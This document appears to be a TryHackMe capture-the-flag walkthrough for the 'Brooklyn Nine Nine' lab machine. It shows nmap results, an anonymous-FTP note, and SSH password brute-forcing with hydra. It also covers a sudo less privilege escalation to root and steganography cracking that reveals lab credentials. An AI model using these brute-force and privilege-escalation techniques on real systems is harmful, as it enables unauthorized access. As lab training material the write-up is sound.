TryHackMe Brooklyn Nine Nine

> Saikat Karmakar | May 6 : 2021

- nmap scan results

```
PORT     STATE    SERVICE      VERSION
21/tcp   open     ftp          vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020
note_to_jake.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.4.23.120
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
```

```
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open     ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp   open     http         Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2909/tcp filtered funk-dialout
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

- contents of the file on the ftp server

```
→ brooklyn_Nine_Nine git:(master) ✗ bat note_to_jake.txt
       File: note_to_jake.txt
   1   From Amy,
   2
   3   Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
   4
   5
```

- ssh creds

```
→ brooklyn_Nine_Nine git:(master) ✗ hydra -l jake -P /usr/share/wordlists/rockyou.txt -t 32 10.10.101.207 ssh -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
 purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-06 19:12:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344399 login tries (l:1/p:14344399), ~448263 tries per task
[DATA] attacking ssh://10.10.101.207:22/
[22][ssh] host: 10.10.101.207   login: jake   password: 987654321
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 10 final worker threads did not complete until end.
[ERROR] 10 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-06 19:12:22
```

```
login: jake   password: 987654321
```

- information

```
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

```
less can be run as sudo without the root pass by jake
```

- https://gtfobins.github.io/gtfobins/less/#sudo

```
jake@brookly_nine_nine:~$ sudo less /etc/profile
root@brookly_nine_nine:~# id
uid=0(root) gid=0(root) groups=0(root)
```

alternative ways

```
sudo -u holt less ../jake/nano.txt
```

```
jake@brookly_nine_nine:~$ sudo -u holt less s.txt
holt@brookly_nine_nine:~$ id
uid=1002(holt) gid=1002(holt) groups=1002(holt)
```

steganography

```
└─[0] stegcracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2021 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

Counting lines in wordlist..
Attacking file 'brooklyn99.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: admin
Tried 20395 passwords
Your file has been written to: brooklyn99.jpg.out
admin
```

- holt's ssh creds

```
Holts Password:
fluffydog12@ninenine

Enjoy!!
```